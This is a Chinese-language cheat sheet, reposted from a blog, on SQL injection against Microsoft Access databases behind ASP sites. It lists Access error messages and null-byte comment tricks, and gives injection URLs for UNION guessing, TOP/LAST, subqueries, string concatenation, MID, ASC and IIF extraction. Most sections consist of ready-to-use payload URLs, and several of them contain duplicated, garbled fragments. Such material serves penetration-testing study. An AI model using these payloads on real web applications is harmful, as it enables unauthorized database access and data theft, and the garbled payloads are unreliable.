注:本篇文章内容转自http://www.teagle.top/index.php/archives/147/
1.简介
Microsoft Office Access是由微软发布的关系数据库管理系统
Access没有库这个概念 只有表这个概念
一般Access数据库用于asp、aspx**脚本网站比较多一些
MSysObjects表中包含了所有数据库对象。但遗憾的是,Access数据库默认**不允许访问这些表
2. 报错信息
不同的web平台,Access数据库在报错时会显示不同的报错信息。如下是两个例子
Apache(PHP)
Fatal error: Uncaught execption ‘com_exception’ with message ‘Source:Microsoft JET Database Engine Description: […]
IIS(ASP)
Microsoft JET Database Engine error’80040e14’
3. 注释
Access数据库没有注释符, 但是可以用%00代替注释
开启magic_quotes时,%00无效,用%16代替
4. UNION操作符
Access注入是暴力猜解,因为Access用联合语句显示可显字段,必须先进行猜解
Access支持Union,但是表名事先要知道
**
5. 堆查询(Stacked Query)
Access数据库不支持这种方式,可以忽略它
6. LIMIT效果
Access数据库不支持LIMIT,但是可以用TOP和LAST
**
http://xxx?id=1’+UNION+SELECT+TOP+3+someAttrName+FROM+validTable%00
上面这个例子,将会返回查询结果集里面的前三行,同样用LAST就是返回后三行
7. 子查询
ACCESS数据库支持子查询。例如下面这个例子,使用了TOP 1来仅仅返回一条记录
http://xxx?id=1’+AND+(SELECT+TOP+1+’domeData’+FROM+table)%00%00)
8. 硬编码查询 返回0行
某些情况下,我们只要UNION SELECT查询的结果时,我们可以使用硬编码查询来使前面的查询返回0条结果
一个常见的技巧如下:
http://xxx?id=1’+AND+1=0+UNION+SELECT+1,2,3+FROM+table%00
9. 字符串连接
我们可以使用&(%26)和+(%2b)这两个字符来进行字符串的连接
当我们在HTTP请求中注入这两个字符时,需要被适当的编码:
http://xxx?id=1’+UNION+SELECT+’web’+%2b+’app’+FROM+table%00
http://xxx?id=1’+UNION+SELECT+’web’+%26+’app’+FROM+table%00
这两个查询均返回字符串webapp
10. 子字符串
操作符MID可以用来提取母字符串中一部分特定的子字符串
http://xxx?id=1’+UNION+SELECT+MID(‘abcd’,1,1)+FROM+table%00+FROM+table%00)
上面这条查询将会返回字符a
http://xxx?id=1’+UNION+SELECT+MID(‘abcd’,2,1)+FROM+table%00+FROM+table%00)
上面这条查询将会返回字符b
11. 字符的ASCII值
ASC操作符可以返回参数中字符对应的ASCII值:
http://xxx?id=1’+UNION+SELECT+ASC(‘A’)+FROM+table%00+FROM+table%00)
上面这条查询将会返回65, 这是字符A对应的ASCII值
12. IF THEN条件语句
IIF操作符可以被用来创建”if-then”条件语句。语法:
IIF(condition,true,false)
http://xxx?id=1’+UNION+SELECT+IIF(1=1,’a’,’b’)+FROM+table%00+FROM+table%00)
上面这个查询将会返回a,因为1=1永远是正确的